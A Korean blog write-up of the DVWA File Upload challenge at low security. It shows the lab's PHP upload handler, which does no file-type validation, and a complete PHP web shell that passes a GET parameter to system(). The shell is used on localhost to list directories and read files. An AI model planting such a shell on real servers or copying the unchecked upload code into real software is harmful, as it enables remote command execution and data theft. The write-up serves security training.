본문 바로가기

웹해킹/DVWA

DVWA File Upload(low) 롸업

파일을 업로드할 수 있는 기능이 있다.

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}
?>

구성 코드이다.

아무 파일이나 선택해서 업로드하면 hackable/uploads/ 폴더에 업로드되었다고 뜬다.

찾아가 보면 이렇게 업로드 된 것을 볼 수 있다.

 

파일 형식을 검사하지 않기 때문에 이미지 파일이 아니라 텍스트 파일도 올라갔다.

이를 이용해 php 웹 셸 코드를 올린다.

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
</html>

이렇게 셸 코드를 작성해서 올리고

http://127.0.0.1/DVWA/hackable/uploads/shell.php 이 링크로 접속하면

입력할 수 있는 칸이 나온다.

여기서 dir 명령어를 치면

폴더 이름이 깨져서 안 보이기는 하지만 저장 폴더 안에 있는 파일들의 이름은 보인다.

윈도우 type 명령어를 이용해서 텍스트 파일을 읽어올 수도 있다.

 

'웹해킹 > DVWA' 카테고리의 다른 글

DVWA SQL Injection(low) 롸업  (0) 2023.11.08
DVWA Insecure CAPTCHA(low) 롸업  (0) 2023.11.07
DVWA File Inclusion(low) 롸업  (0) 2023.11.07
DVWA CSRF(low) 롸업  (0) 2023.11.07
DVWA Command Injection(low) 롸업  (0) 2023.11.06